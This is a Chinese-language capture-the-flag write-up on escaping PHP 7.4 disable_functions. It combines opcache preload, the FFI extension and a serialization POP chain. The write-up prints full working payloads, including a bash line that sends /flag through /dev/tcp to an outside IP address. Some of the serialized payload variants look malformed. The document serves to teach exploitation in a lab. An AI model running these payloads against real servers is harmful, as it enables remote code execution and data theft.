index.php
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
phpinfo先看一下,php7.4-dev和大多数题一样。都是限制目录和函数。
首先就是想到用scandir去找flag,由于限制了目录。用payload绕过。but这里ini_set函数被禁用了。只能换个payload
用glob协议找到flag,但是也只能看目录。不能读取
但是。我们通过查看当前目录。发现还有个preload.php,读取
不知道这个文件干啥。看writeup。又是新知识
opcache.preload
是PHP7.4中新加入的功能。此配置项定义的文件。会在服务器启动时将PHP脚本预加载。里面定义的类什么的。对所有请求都可用
这里。它就将preload.php预加载了。
继续看。FFI(危险扩展)只允许在预加载的PHP文件中执行。常规文件中不允许
看下FFI是个啥。好像是个PHP里面写C代码
搭建环境
apt install libsqlite3-dev libffi-dev bison re2c pkg-config
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4
./buildconf
./configure --prefix=$HOME/myphp --with-config-file-path=$HOME/myphp/lib --with-ffi --enable-opcache --enable-cli
make -j $(nproc) && make install
<?php
// 创建FFI对象,加载libc并导出函数printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", //常规的C声明
"libc.so.6");
// 调用C printf()
$ffi->printf("Hello %s!\n", "world");
下面构造个system试试
函数申明
<?php
$ffi=FFI::cdef("int system(char *command);");
$ffi->system("whoami");
?>
那么这题应该是通过preload.php来执行FFI。
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
在A类中。只有run方法可以执行命令
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
如果将func变成ffi扩展。arg变成int system声明。那么this->data就成了一个带有system函数的FFI扩展。只要调用$this->data['ret']->system("whoami")就行了
再次寻找POP链。哪里能调用data
有两个点可以调用data。其他不是赋值。就是反序列化
第一个调用点
__serialize()函数
return $this->data
会返回包含ret,func,arg的数组。那么我们可以通过($this->data)['ret']这种方法。取出其中ret值->system("whoami");
第二个调用点:
__get()函数
return $this->data[$key];
这就不必说了。。很明显
$this->data['ret']->system("whoami");
就可以了
在PHP7.4中。序列化/反序列化时会触发__serialize/__unserialize 函数。
但是我们看代码中。又存在serialize/unserialize函数。Serializable::serialize是旧版本的序列化老接口,而__serialize是序列化新接口
如果一个类都实现了Serializable和__serialize()/ __ unserialize(),则序列化将首选新机制
https://www.php.net/manual/zh/serializable.serialize.php
https://wiki.php.net/rfc/custom_object_serialization
在执行反序列化的时候。会调用__unserialize,然后执行$this->run()方法。
将data['ret']变成一个FFI扩展
经过反序列化后。就成了一个object,然后我们直接调用__get('ret')->system('bash -c "cat /flag > /dev/tcp/IP/Port"');
相当于类A->__get方法
这里我们做个实验
<?php
class A{
public $name;
public function hello(){
echo $this->name;
}
public function hello2(){
echo $this->name.'2';
}
}
$a=new A();
$a->name="123";
$a->hello();
echo "<br />";
echo serialize($a);
echo "<br />";
eval($_GET['a']);
?>
A类中有hello和hello2函数。我们通过反序列化执行hello2
完整payload
unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}}')->__get('ret')->system('bash -c "cat /flag > /dev/tcp/49.235.209.160/8080"');
unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";$a=s:3:"arg";s:32:"int system(const char *command);";}}}');$a->ret->system('bash -c "cat /flag > /dev/tcp/IP/Port"')
payload很多。原理都一样。构造反序列化。覆盖data数组。构造一个FFI扩展。然后通过函数/直接调用去调用扩展
这里我使用BUUCTF的环境。但仿佛。连不上外网